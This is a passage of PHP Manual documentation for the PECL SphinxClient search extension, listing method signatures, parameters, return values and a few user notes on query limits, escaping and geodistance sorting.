public string escapeString ( string $string )
public string getLastError ( void )
public string getLastWarning ( void )
public bool open ( void )
public array query ( string $query [, string $index = "*" [, string $comment = "" ]] )
public void resetFilters ( void )
public void resetGroupBy ( void )
public array runQueries ( void )
public bool setArrayResult ( bool $array_result = false )
public bool setConnectTimeout ( float $timeout )
public bool setFieldWeights ( array $weights )
public bool setFilter ( string $attribute , array $values [, bool $exclude = false ] )
public bool setFilterFloatRange ( string $attribute , float $min , float $max [, bool $exclude = false ] )
public bool setFilterRange ( string $attribute , int $min , int $max [, bool $exclude = false ] )
public bool setGeoAnchor ( string $attrlat , string $attrlong , float $latitude , float $longitude )
public bool setGroupBy ( string $attribute , int $func [, string $groupsort = "@group desc" ] )
public bool setGroupDistinct ( string $attribute )
public bool setIDRange ( int $min , int $max )
public bool setIndexWeights ( array $weights )
public bool setLimits ( int $offset , int $limit [, int $max_matches = 0 [, int $cutoff = 0 ]] )
public bool setMatchMode ( int $mode )
public bool setMaxQueryTime ( int $qtime )
public bool setOverride ( string $attribute , int $type , array $values )
public bool setRankingMode ( int $ranker )
public bool setRetries ( int $count [, int $delay = 0 ] )
public bool setSelect ( string $clause )
public bool setServer ( string $server , int $port )
public bool setSortMode ( int $mode [, string $sortby ] )
public array status ( void )
public int updateAttributes ( string $index , array $attributes , array $values [, bool $mva = false ] )
}

Table of Contents

  • SphinxClient::addQuery — Add query to multi-query batch
  • SphinxClient::buildExcerpts — Build text snippets
  • SphinxClient::buildKeywords — Extract keywords from query
  • SphinxClient::close — Closes previously opened persistent connection
  • SphinxClient::__construct — Create a new SphinxClient object
  • SphinxClient::escapeString — Escape special characters
  • SphinxClient::getLastError — Get the last error message
  • SphinxClient::getLastWarning — Get the last warning
  • SphinxClient::open — Opens persistent connection to the server
  • SphinxClient::query — Execute search query
  • SphinxClient::resetFilters — Clear all filters
  • SphinxClient::resetGroupBy — Clear all group-by settings
  • SphinxClient::runQueries — Run a batch of search queries
  • SphinxClient::setArrayResult — Change the format of result set array
  • SphinxClient::setConnectTimeout — Set connection timeout
  • SphinxClient::setFieldWeights — Set field weights
  • SphinxClient::setFilter — Add new integer values set filter
  • SphinxClient::setFilterFloatRange — Add new float range filter
  • SphinxClient::setFilterRange — Add new integer range filter
  • SphinxClient::setGeoAnchor — Set anchor point for a geosphere distance calculations
  • SphinxClient::setGroupBy — Set grouping attribute
  • SphinxClient::setGroupDistinct — Set attribute name for per-group distinct values count calculations
  • SphinxClient::setIDRange — Set a range of accepted document IDs
  • SphinxClient::setIndexWeights — Set per-index weights
  • SphinxClient::setLimits — Set offset and limit of the result set
  • SphinxClient::setMatchMode — Set full-text query matching mode
  • SphinxClient::setMaxQueryTime — Set maximum query time
  • SphinxClient::setOverride — Sets temporary per-document attribute value overrides
  • SphinxClient::setRankingMode — Set ranking mode
  • SphinxClient::setRetries — Set retry count and delay
  • SphinxClient::setSelect — Set select clause
  • SphinxClient::setServer — Set searchd host and port
  • SphinxClient::setSortMode — Set matches sorting mode
  • SphinxClient::status — Queries searchd status
  • SphinxClient::updateAttributes — Update document attributes

User Contributed Notes

There are no user contributed notes for this page.
Examples
SphinxClient::addQuery
Sphinx


Add query to multi-query batch

SphinxClient
SphinxClient::buildExcerpts
SphinxClient
PHP Manual

SphinxClient::addQuery

(PECL sphinx >= 0.1.0)

SphinxClient::addQuery — Add query to multi-query batch

Description

public int SphinxClient::addQuery ( string $query [, string $index = "*" [, string $comment = "" ]] )

Adds query with the current settings to multi-query batch. This method doesn't affect current settings (sorting, filtering, grouping etc.) in any way.

Parameters

query

Query string.

index

An index name (or names).

comment

Return Values

Returns an index in an array of results that will be returned by SphinxClient::runQueries call or false on error.

See Also

  • SphinxClient::runQueries
  • SphinxClient::query

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient
SphinxClient::buildExcerpts
SphinxClient


Build text snippets

SphinxClient::addQuery
SphinxClient::buildKeywords
SphinxClient
PHP Manual

SphinxClient::buildExcerpts

(PECL sphinx >= 0.1.0)

SphinxClient::buildExcerpts — Build text snippets

Description

public array SphinxClient::buildExcerpts ( array $docs , string $index , string $words [, array $opts ] )

Connects to searchd, requests it to generate excerpts (snippets) from the given documents, and returns the results.

Parameters

docs

Array of strings with documents' contents.

index

Index name.

words

Keywords to highlight.

opts

Associative array of additional highlighting options (see below).

Highlighting options
Option | Description
"before_match" | A string to insert before a keyword match. Default is "<b>".
"after_match" | A string to insert after a keyword match. Default is "</b>".
"chunk_separator" | A string to insert between snippet chunks (passages). Default is " ... ".
"limit" | Maximum snippet size, in symbols (codepoints). Integer, default is 256.
"around" | How much words to pick around each matching keywords block. Integer, default is 5.
"exact_phrase" | Whether to highlight exact query phrase matches only instead of individual keywords. Boolean, default is FALSE.
"single_passage" | Whether to extract single best passage only. Boolean, default is FALSE.

Return Values

Returns array of snippets on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::addQuery
SphinxClient::buildKeywords
SphinxClient


Extract keywords from query

SphinxClient::buildExcerpts
SphinxClient::close
SphinxClient
PHP Manual

SphinxClient::buildKeywords

(PECL sphinx >= 0.1.0)

SphinxClient::buildKeywords — Extract keywords from query

Description

public array SphinxClient::buildKeywords ( string $query , string $index , bool $hits )

Extracts keywords from query using tokenizer settings for the given index, optionally with per-keyword occurrence statistics.

Parameters

query

A query to extract keywords from.

index

An index to get tokenizing settings and keyword occurrence statistics from.

hits

A boolean flag to enable/disable keyword statistics generation.

Return Values

Returns an array of associative arrays with per-keyword information.

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::buildExcerpts
SphinxClient::close
SphinxClient


Closes previously opened persistent connection

SphinxClient::buildKeywords
SphinxClient::__construct
SphinxClient
PHP Manual

SphinxClient::close

(PECL sphinx >= 1.0.3)

SphinxClient::close — Closes previously opened persistent connection

Description

public bool SphinxClient::close ( void )

Closes previously opened persistent connection.

Parameters

This function has no parameters.

Changelog

PECL/sphinx Version | Description
1.0.3 | Added SphinxClient::close(), available only if compiled with libsphinxclient >= 0.9.9.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::open

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::buildKeywords
SphinxClient::__construct
SphinxClient


Create a new SphinxClient object

SphinxClient::close
SphinxClient::escapeString
SphinxClient
PHP Manual

SphinxClient::__construct

(PECL sphinx >= 0.1.0)

SphinxClient::__construct — Create a new SphinxClient object

Description

public SphinxClient::__construct ( void )

Creates a new SphinxClient object.

Parameters

This function has no parameters.

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::close
SphinxClient::escapeString
SphinxClient


Escape special characters

SphinxClient::__construct
SphinxClient::getLastError
SphinxClient
PHP Manual

SphinxClient::escapeString

(PECL sphinx >= 0.1.0)

SphinxClient::escapeString — Escape special characters

Description

public string SphinxClient::escapeString ( string $string )

Escapes characters that are treated as special operators by the query language parser.

Parameters

string

String to escape.

Return Values

Returns escaped string.

User Contributed Notes

xxxbunker dot com 14-Mar-2010 08:12
according to http://www.sphinxsearch.com/forum/view.html?id=5225:

this function doesn't really do what one would expect (mysql_real_escape_string style) and is more meant to escape individual keywords...

my experience it works better to manually escape reserved characters, for example:

<?php
$string='make big $ online';

$escaped=str_replace('$','\\$',$string);
?>
SphinxClient::__construct
SphinxClient::getLastError
SphinxClient


Get the last error message

SphinxClient::escapeString
SphinxClient::getLastWarning
SphinxClient
PHP Manual

SphinxClient::getLastError

(PECL sphinx >= 0.1.0)

SphinxClient::getLastError — Get the last error message

Description

public string SphinxClient::getLastError ( void )

Returns string with the last error message. If there were no errors during the previous API call, empty string is returned. This method doesn't reset the error message, so you can safely call it several times.

Parameters

This function has no parameters.

Return Values

Returns the last error message or an empty string if there were no errors.

See Also

  • SphinxClient::getLastWarning

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::escapeString
SphinxClient::getLastWarning
SphinxClient


Get the last warning

SphinxClient::getLastError
SphinxClient::open
SphinxClient
PHP Manual

SphinxClient::getLastWarning

(PECL sphinx >= 0.1.0)

SphinxClient::getLastWarning — Get the last warning

Description

public string SphinxClient::getLastWarning ( void )

Returns last warning message. If there were no warnings during the previous API call, empty string is returned. This method doesn't reset the warning, so you can safely call it several times.

Parameters

This function has no parameters.

Return Values

Returns the last warning message or an empty string if there were no warnings.

See Also

  • SphinxClient::getLastError

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::getLastError
SphinxClient::open
SphinxClient


Opens persistent connection to the server

SphinxClient::getLastWarning
SphinxClient::query
SphinxClient
PHP Manual

SphinxClient::open

(PECL sphinx >= 1.0.3)

SphinxClient::open — Opens persistent connection to the server

Description

public bool SphinxClient::open ( void )

Opens persistent connection to the server.

Parameters

This function has no parameters.

Changelog

PECL/sphinx Version | Description
1.0.3 | Added SphinxClient::open(), available only if compiled with libsphinxclient >= 0.9.9.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::close

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::getLastWarning
SphinxClient::query
SphinxClient


Execute search query

SphinxClient::open
SphinxClient::resetFilters
SphinxClient
PHP Manual

SphinxClient::query

(PECL sphinx >= 0.1.0)

SphinxClient::query — Execute search query

Description

public array SphinxClient::query ( string $query [, string $index = "*" [, string $comment = "" ]] )

Connects to searchd server, runs the given search query with the current settings, obtains and returns the result set.

Parameters

query

Query string.

index

An index name (or names).

comment

Return Values

On success, SphinxClient::query() returns a list of found matches and additional per-query statistics. The result set is a hash utilize other structures instead of hash) with the following keys and values:

Result set structure
Key | Value description
"matches" | An array with found document IDs as keys and their weight and attributes values as values
"total" | Total number of matches found and retrieved (depends on your settings)
"total_found" | Total number of found documents matching the query
"words" | An array with words (case-folded and stemmed) as keys and per-word statistics as values
"error" | Query error message reported by searchd
"warning" | Query warning reported by searchd

See Also

  • SphinxClient::runQueries
  • SphinxClient::addQuery

User Contributed Notes

moosh at php dot net 14-Feb-2011 03:35
public array SphinxClient::query ( string $query [, string $index = "*" [, string $comment = "" ]] )

If you add a value for comment, you can retrieve them in sphinx query log.
php at senz dot su 15-Sep-2010 07:54
There is also a "status" key showing in what status query has ended.
Here are codes, taken from searchd.cpp:

<?php
/// known status return codes
enum SearchdStatus_e
{
        SEARCHD_OK              = 0,    ///< general success, command-specific reply follows
        SEARCHD_ERROR   = 1,    ///< general failure, error message follows
        SEARCHD_RETRY   = 2,    ///< temporary failure, error message follows, client should retry later
        SEARCHD_WARNING = 3             ///< general success, warning message and command-specific reply follow
};
?>
fkoehl at gmail dot com 11-Dec-2008 08:16
It appears that Query() (or the Sphinx program in general) does have some kind of limit imposed on the maximum length of a query submission. Stumbled across this limitation when trying to perform some searches based on content from user-submitted e-mails.

In looking at the returned array, the 'words' portion only accounts for the first 8 or 9 words of the long query. I'm assuming that the rest of the string is being truncated. The number of accepted words appears to change based on the total length of the words. Just a heads-up.
SphinxClient::open
SphinxClient::resetFilters
SphinxClient


Clear all filters

SphinxClient::query
SphinxClient::resetGroupBy
SphinxClient
PHP Manual

SphinxClient::resetFilters

(PECL sphinx >= 0.1.0)

SphinxClient::resetFilters — Clear all filters

Description

public void SphinxClient::resetFilters ( void )

Clears all currently set filters. This call is normally required when using multi-queries. You might want to set different filters for different queries in the batch. To do that, you should call SphinxClient::resetFilters() and add new filters using the respective calls.

Return Values

No value is returned.

See Also

  • SphinxClient::resetGroupBy

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::query
SphinxClient::resetGroupBy
SphinxClient


Clear all group-by settings

SphinxClient::resetFilters
SphinxClient::runQueries
SphinxClient
PHP Manual

SphinxClient::resetGroupBy

(PECL sphinx >= 0.1.0)

SphinxClient::resetGroupBy — Clear all group-by settings

Description

public void SphinxClient::resetGroupBy ( void )

Clears all currently group-by settings, and disables group-by. This call is normally required only when using multi-queries.

Return Values

No value is returned.

See Also

  • SphinxClient::resetGroupBy

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::resetFilters
SphinxClient::runQueries
SphinxClient


Run a batch of search queries

SphinxClient::resetGroupBy
SphinxClient::setArrayResult
SphinxClient
PHP Manual

SphinxClient::runQueries

(PECL sphinx >= 0.1.0)

SphinxClient::runQueries — Run a batch of search queries

Description

public array SphinxClient::runQueries ( void )

Connects to searchd, runs a batch of all queries added using SphinxClient::addQuery, obtains and returns the result sets.

Return Values

Returns FALSE on failure and array of result sets on success.

See Also

  • SphinxClient::addQuery
  • SphinxClient::query

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::resetGroupBy
SphinxClient::setArrayResult
SphinxClient


Change the format of result set array

SphinxClient::runQueries
SphinxClient::setConnectTimeout
SphinxClient
PHP Manual

SphinxClient::setArrayResult

(PECL sphinx >= 0.1.0)

SphinxClient::setArrayResult — Change the format of result set array

Description

public bool SphinxClient::setArrayResult ( bool $array_result = false )

Controls the format of search results set arrays (whether matches should be returned as an array or a hash).

Parameters

array_result

If array_result is FALSE, matches are returned as a hash with document IDs as keys, and other information (weight, attributes) as values. If array_result is TRUE, matches are returned as a plain array with complete per-match information including document IDs.

Return Values

Always returns TRUE.

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::runQueries
SphinxClient::setConnectTimeout
SphinxClient


Set connection timeout

SphinxClient::setArrayResult
SphinxClient::setFieldWeights
SphinxClient
PHP Manual

SphinxClient::setConnectTimeout

(PECL sphinx >= 0.1.0)

SphinxClient::setConnectTimeout — Set connection timeout

Description

public bool SphinxClient::setConnectTimeout ( float $timeout )

Sets connection timeout (in seconds) for searchd connection.

Parameters

timeout

Timeout in seconds.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setMaxQueryTime

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::setArrayResult
SphinxClient::setFieldWeights
SphinxClient


Set field weights

SphinxClient::setConnectTimeout
SphinxClient::setFilter
SphinxClient
PHP Manual

SphinxClient::setFieldWeights

(PECL sphinx >= 0.1.0)

SphinxClient::setFieldWeights — Set field weights

Description

public bool SphinxClient::setFieldWeights ( array $weights )

Binds per-field weights by name.

Match ranking can be affected by per-field weights. See » Sphinx documentation for an explanation on how phrase proximity ranking is affected. This call lets you specify non-default weights for full-text fields.

The weights must be positive 32-bit integers, so be careful not to hit 32-bit integer maximum. The final weight is a 32-bit integer too. Default weight value is 1. Unknown field names are silently ignored.

Parameters

weights

Associative array of field names and field weights.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setIndexWeights

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::setConnectTimeout
SphinxClient::setFilter
SphinxClient


Add new integer values set filter

SphinxClient::setFieldWeights
SphinxClient::setFilterFloatRange
SphinxClient
PHP Manual

SphinxClient::setFilter

(PECL sphinx >= 0.1.0)

SphinxClient::setFilter — Add new integer values set filter

Description

public bool SphinxClient::setFilter ( string $attribute , array $values [, bool $exclude = false ] )

Adds new integer values set filter to the existing list of filters.

Parameters

attribute

An attribute name.

values

Plain array of integer values.

exclude

If set to TRUE, matching documents are excluded from the result set.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setFilterFloatRange
  • SphinxClient::setFilterRange
  • SphinxClient::resetFilters

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::setFieldWeights
SphinxClient::setFilterFloatRange
SphinxClient


Add new float range filter

SphinxClient::setFilter
SphinxClient::setFilterRange
SphinxClient
PHP Manual

SphinxClient::setFilterFloatRange

(PECL sphinx >= 0.1.0)

SphinxClient::setFilterFloatRange — Add new float range filter

Description

public bool SphinxClient::setFilterFloatRange ( string $attribute , float $min , float $max [, bool $exclude = false ] )

Adds new float range filter to the existing list of filters. Only those documents which have attribute value stored in the index between min and max (including values that are exactly equal to min or max) will be matched (or rejected, if exclude is TRUE).

Parameters

attribute

An attribute name.

min

Minimum value.

max

Maximum value.

exclude

If set to TRUE, matching documents are excluded from the result set.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setFilterRange
  • SphinxClient::setFilter
  • SphinxClient::resetFilters

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::setFilter
SphinxClient::setFilterRange
SphinxClient


Add new integer range filter

SphinxClient::setFilterFloatRange
SphinxClient::setGeoAnchor
SphinxClient
PHP Manual

SphinxClient::setFilterRange

(PECL sphinx >= 0.1.0)

SphinxClient::setFilterRange — Add new integer range filter

Description

public bool SphinxClient::setFilterRange ( string $attribute , int $min , int $max [, bool $exclude = false ] )

Adds new integer range filter to the existing list of filters. Only those documents which have attribute value stored in the index between min and max (including values that are exactly equal to min or max) will be matched (or rejected, if exclude is TRUE).

Parameters

attribute

An attribute name.

min

Minimum value.

max

Maximum value.

exclude

If set to TRUE, matching documents are excluded from the result set.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setFilterFloatRange
  • SphinxClient::setFilter
  • SphinxClient::resetFilters

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::setFilterFloatRange
SphinxClient::setGeoAnchor
SphinxClient


Set anchor point for a geosphere distance calculations

SphinxClient::setFilterRange
SphinxClient::setGroupBy
SphinxClient
PHP Manual

SphinxClient::setGeoAnchor

(PECL sphinx >= 0.1.0)

SphinxClient::setGeoAnchor — Set anchor point for a geosphere distance calculations

Description

public bool SphinxClient::setGeoAnchor ( string $attrlat , string $attrlong , float $latitude , float $longitude )

Sets anchor point for a geosphere distance (geodistance) calculations and enables them.

Once an anchor point is set, you can use magic "@geodist" attribute name in your filters and/or sorting expressions.

Parameters

attrlat

Name of a latitude attribute.

attrlong

Name of a longitude attribute.

latitude

Anchor latitude in radians.

longitude

Anchor longitude in radians.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setFilterFloatRange
  • SphinxClient::setFilterRange
  • SphinxClient::setFilter
  • SphinxClient::resetFilters

User Contributed Notes

michel dot bartz at igotchamedia dot com 20-Jul-2011 07:17
For this to work, attrlat and attrlng need to be in lower case otherwise you will get :
"unknown latitude attribute ''"
k dot andris at gmail dot com 07-Oct-2010 12:55
When sorting on @geodist you have to use SetSortMode with SPH_SORT_EXTENDED, like below, if SPH_SORT_ATTR_ASC does not seem to work.

$sphinx->SetSortMode(SPH_SORT_EXTENDED, '@geodist ASC');
SphinxClient::setFilterRange
SphinxClient::setGroupBy
SphinxClient


Set grouping attribute

SphinxClient::setGeoAnchor
SphinxClient::setGroupDistinct
SphinxClient
PHP Manual

SphinxClient::setGroupBy

(PECL sphinx >= 0.1.0)

SphinxClient::setGroupBy — Set grouping attribute

Description

public bool SphinxClient::setGroupBy ( string $attribute , int $func [, string $groupsort = "@group desc" ] )

Sets grouping attribute, function, and group sorting mode, and enables grouping.

Grouping feature is very similar to GROUP BY clause in SQL. Results produced by this function call are going to be the same as produced by the following pseudo code: SELECT ... GROUP BY $func($attribute) ORDER BY $groupsort.

Parameters

attribute

A string containing group-by attribute name.

func

Constant, which sets a function applied to the attribute value in order to compute group-by key.

groupsort

An optional clause controlling how the groups are sorted.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::resetGroupBy
  • SphinxClient::setSortMode
  • SphinxClient::setGroupDistinct

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::setGeoAnchor
SphinxClient::setGroupDistinct
SphinxClient


Set attribute name for per-group distinct values count calculations

SphinxClient::setGroupBy
SphinxClient::setIDRange
SphinxClient
PHP Manual

SphinxClient::setGroupDistinct

(PECL sphinx >= 0.1.0)

SphinxClient::setGroupDistinct — Set attribute name for per-group distinct values count calculations

Description

public bool SphinxClient::setGroupDistinct ( string $attribute )

Sets attribute name for per-group distinct values count calculations. Only available for grouping queries. For each group, all values of attribute will be stored, then the amount of distinct values will be calculated and returned to the client. This feature is similar to COUNT(DISTINCT) clause in SQL.

Parameters

attribute

A string containing group-by attribute name.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setSortMode
  • SphinxClient::setGroupBy
  • SphinxClient::resetGroupBy

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::setGroupBy
SphinxClient::setIDRange
SphinxClient


Set a range of accepted document IDs

SphinxClient::setGroupDistinct
SphinxClient::setIndexWeights
SphinxClient
PHP Manual

SphinxClient::setIDRange

(PECL sphinx >= 0.1.0)

SphinxClient::setIDRange — Set a range of accepted document IDs

Description

public bool SphinxClient::setIDRange ( int $min , int $max )

Sets an accepted range of document IDs. Default range is from 0 to 0, i.e. no limit. Only those records that have document ID between min and max (including IDs exactly equal to min or max) will be matched.

Parameters

min

Minimum ID value.

max

Maximum ID value.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::setGroupDistinct
SphinxClient::setIndexWeights
SphinxClient


Set per-index weights

SphinxClient::setIDRange
SphinxClient::setLimits
SphinxClient
PHP Manual

SphinxClient::setIndexWeights

(PECL sphinx >= 0.1.0)

SphinxClient::setIndexWeights — Set per-index weights

Description

public bool SphinxClient::setIndexWeights ( array $weights )

Sets per-index weights and enables weighted summing of match weights across different indexes.

Parameters

weights

An associative array mapping string index names to integer weights. Default is empty array, i.e. weighting summing is disabled.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::setIDRange
SphinxClient::setLimits
SphinxClient


Set offset and limit of the result set

SphinxClient::setIndexWeights
SphinxClient::setMatchMode
SphinxClient
PHP Manual

SphinxClient::setLimits

(PECL sphinx >= 0.1.0)

SphinxClient::setLimits — Set offset and limit of the result set

Description

public bool SphinxClient::setLimits ( int $offset , int $limit [, int $max_matches = 0 [, int $cutoff = 0 ]] )

Sets offset into server-side result set and amount of matches to return to client starting from that offset (limit). Can additionally control maximum server-side result set size for current query (max_matches) and the threshold amount of matches to stop searching at (cutoff).

Parameters

offset

Result set offset.

limit

Amount of matches to return.

max_matches

Controls how much matches searchd will keep in RAM while searching.

cutoff

Used for advanced performance control. It tells searchd to forcibly stop search query once cutoff matches have been found and processed.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

xxxbunker dot com 21-Mar-2010 10:52
the max_matches / cutoff parameters are priceless.

if you ever have a situation where you need a 'count' of the number of matches, but only need to display lets say the 'top 10', these 2 parameters are very handy.

we used to get the occasional 'unable to connect' error with sphinx, after implementing these 2 parameters where applicable, these issues disappeared, load dropped, and the servers were much happier.
shoanm at users dot sourceforge dot net 25-Aug-2009 03:06
I almost pulled out all my hair trying to figure this one out. After applying limits using

$s->setLimit(10,10);

the search kept returning only false. getLastError() and getLastWarning() contained empty strings.

The solution, like Nayana stated, is to add a positive non-zero integer $max to setLimit.
Nayana Hettiarachch nayana at corp-gems dot com 23-Jan-2009 08:36
If you get an error
per-query max_matches=0 out of bounds (per-server max_matches=1000).

make sure that you also set the $max to a value other than the default 0,

there is an issue published with a patch if you feel like wanting to patch,

the first option works well as a workaround.

http://sphinxsearch.com/bugs/view.php?id=208
SphinxClient::setIndexWeights
SphinxClient::setMatchMode
SphinxClient


Set full-text query matching mode

SphinxClient::setLimits
SphinxClient::setMaxQueryTime
SphinxClient
PHP Manual

SphinxClient::setMatchMode

(PECL sphinx >= 0.1.0)

SphinxClient::setMatchMode — Set full-text query matching mode

Description

public bool SphinxClient::setMatchMode ( int $mode )

Sets full-text query matching mode. mode is one of the constants listed below.

Match modes
Constant | Description
SPH_MATCH_ALL | Match all query words (default mode).
SPH_MATCH_ANY | Match any of query words.
SPH_MATCH_PHRASE | Match query as a phrase, requiring perfect match.
SPH_MATCH_BOOLEAN | Match query as a boolean expression.
SPH_MATCH_EXTENDED | Match query as an expression in Sphinx internal query language.
SPH_MATCH_FULLSCAN | Enables fullscan.
SPH_MATCH_EXTENDED2 | The same as SPH_MATCH_EXTENDED plus ranking and quorum searching support.

Parameters

mode

Matching mode.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setRankingMode
  • SphinxClient::setSortMode

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::setLimits
SphinxClient::setMaxQueryTime
SphinxClient


Set maximum query time

SphinxClient::setMatchMode
SphinxClient::setOverride
SphinxClient
PHP Manual

SphinxClient::setMaxQueryTime

(PECL sphinx >= 0.1.0)

SphinxClient::setMaxQueryTime — Set maximum query time

Description

public bool SphinxClient::setMaxQueryTime ( int $qtime )

Sets maximum search query time.

Parameters

qtime

Maximum query time, in milliseconds. It must be a non-negative integer. Default value is 0, i.e. no limit.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::setMatchMode
SphinxClient::setOverride
SphinxClient


Sets temporary per-document attribute value overrides

SphinxClient::setMaxQueryTime
SphinxClient::setRankingMode
SphinxClient
PHP Manual

SphinxClient::setOverride

(PECL sphinx >= 1.0.3)

SphinxClient::setOverride — Sets temporary per-document attribute value overrides

Description

public bool SphinxClient::setOverride ( string $attribute , int $type , array $values )

Sets temporary (per-query) per-document attribute value overrides. Override feature lets you "temporary" update attribute values for some documents within a single query, leaving all other queries unaffected. This might be useful for personalized data

Parameters

attribute

An attribute name.

type

An attribute type. Only supports scalar attributes.

values

Array of attribute values that maps document IDs to overridden attribute values.

Changelog

PECL/sphinx Version | Description
1.0.3 | Added SphinxClient::setOverride(), available only if compiled with libsphinxclient >= 0.9.9.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::setMaxQueryTime
SphinxClient::setRankingMode
SphinxClient


Set ranking mode

SphinxClient::setOverride
SphinxClient::setRetries
SphinxClient
PHP Manual

SphinxClient::setRankingMode

(PECL sphinx >= 0.1.0)

SphinxClient::setRankingMode — Set ranking mode

Description

public bool SphinxClient::setRankingMode ( int $ranker )

Sets ranking mode. Only available in SPH_MATCH_EXTENDED2 matching mode.

Ranking modes
Constant | Description
SPH_RANK_PROXIMITY_BM25 | Default ranking mode which uses both proximity and BM25 ranking.
SPH_RANK_BM25 | Statistical ranking mode which uses BM25 ranking only (similar to most of other full-text engines). This mode is faster, but may result in worse quality on queries which contain more than 1 keyword.
SPH_RANK_NONE | Disables ranking. This mode is the fastest. It is essentially equivalent to boolean searching, a weight of 1 is assigned to all matches.

Parameters

ranker

Ranking mode.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setMatchMode

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::setOverride
SphinxClient::setRetries
SphinxClient


Set retry count and delay

SphinxClient::setRankingMode
SphinxClient::setSelect
SphinxClient
PHP Manual

SphinxClient::setRetries

(PECL sphinx >= 0.1.0)

SphinxClient::setRetries — Set retry count and delay

Description

public bool SphinxClient::setRetries ( int $count [, int $delay = 0 ] )

Sets distributed retry count and delay.

On temporary failures searchd will attempt up to count retries per agent. delay is the delay between the retries, in milliseconds. Retries are disabled by default. Note that this call will not make the API itself retry on temporary failure; it only tells searchd to do so.

Parameters

count

Number of retries.

delay

Delay between retries, in milliseconds.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::setRankingMode
SphinxClient::setSelect
SphinxClient


Set select clause

SphinxClient::setRetries
SphinxClient::setServer
SphinxClient
PHP Manual

SphinxClient::setSelect

(PECL sphinx >= 1.0.1)

SphinxClient::setSelect — Set select clause

Description

public bool SphinxClient::setSelect ( string $clause )

Sets the select clause, listing specific attributes to fetch, and expressions to compute and fetch.

Parameters

clause

SQL-like clause.

Changelog

PECL/sphinx Version | Description
1.0.1 | Added SphinxClient::setSelect(), available only if compiled with libsphinxclient >= 0.9.9.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::setRetries
SphinxClient::setServer
SphinxClient


Set searchd host and port

SphinxClient::setSelect
SphinxClient::setSortMode
SphinxClient
PHP Manual

SphinxClient::setServer

(PECL sphinx >= 0.1.0)

SphinxClient::setServer — Set searchd host and port

Description

public bool SphinxClient::setServer ( string $server , int $port )

Sets searchd host name and TCP port. All subsequent requests will use the new host and port settings. Default host and port are 'localhost' and 3312, respectively.

Parameters

server

IP or hostname.

port

Port number.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::setSelect
SphinxClient::setSortMode
SphinxClient


Set matches sorting mode

SphinxClient::setServer
SphinxClient::status
SphinxClient
PHP Manual

SphinxClient::setSortMode

(PECL sphinx >= 0.1.0)

SphinxClient::setSortMode — Set matches sorting mode

Description

public bool SphinxClient::setSortMode ( int $mode [, string $sortby ] )

Sets matches sorting mode. See available modes below.

Sorting modes
Constant | Description
SPH_SORT_RELEVANCE | Sort by relevance in descending order (best matches first).
SPH_SORT_ATTR_DESC | Sort by an attribute in descending order (bigger attribute values first).
SPH_SORT_ATTR_ASC | Sort by an attribute in ascending order (smaller attribute values first).
SPH_SORT_TIME_SEGMENTS | Sort by time segments (last hour/day/week/month) in descending order, and then by relevance in descending order.
SPH_SORT_EXTENDED | Sort by SQL-like combination of columns in ASC/DESC order.
SPH_SORT_EXPR | Sort by an arithmetic expression.

Parameters

mode

Sorting mode.

sortby

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setMatchMode
  • SphinxClient::setSortMode

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::setServer
SphinxClient::status
SphinxClient


Queries searchd status

SphinxClient::setSortMode
SphinxClient::updateAttributes
SphinxClient
PHP Manual

SphinxClient::status

(PECL sphinx >= 1.0.3)

SphinxClient::status — Queries searchd status

Description

public array SphinxClient::status ( void )

Queries searchd status, and returns an array of status variable name and value pairs.

Parameters

This function has no parameters.

Changelog

PECL/sphinx Version | Description
1.0.3 | Added SphinxClient::status(), available only if compiled with libsphinxclient >= 0.9.9.

Return Values

Returns an associative array of search server statistics or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
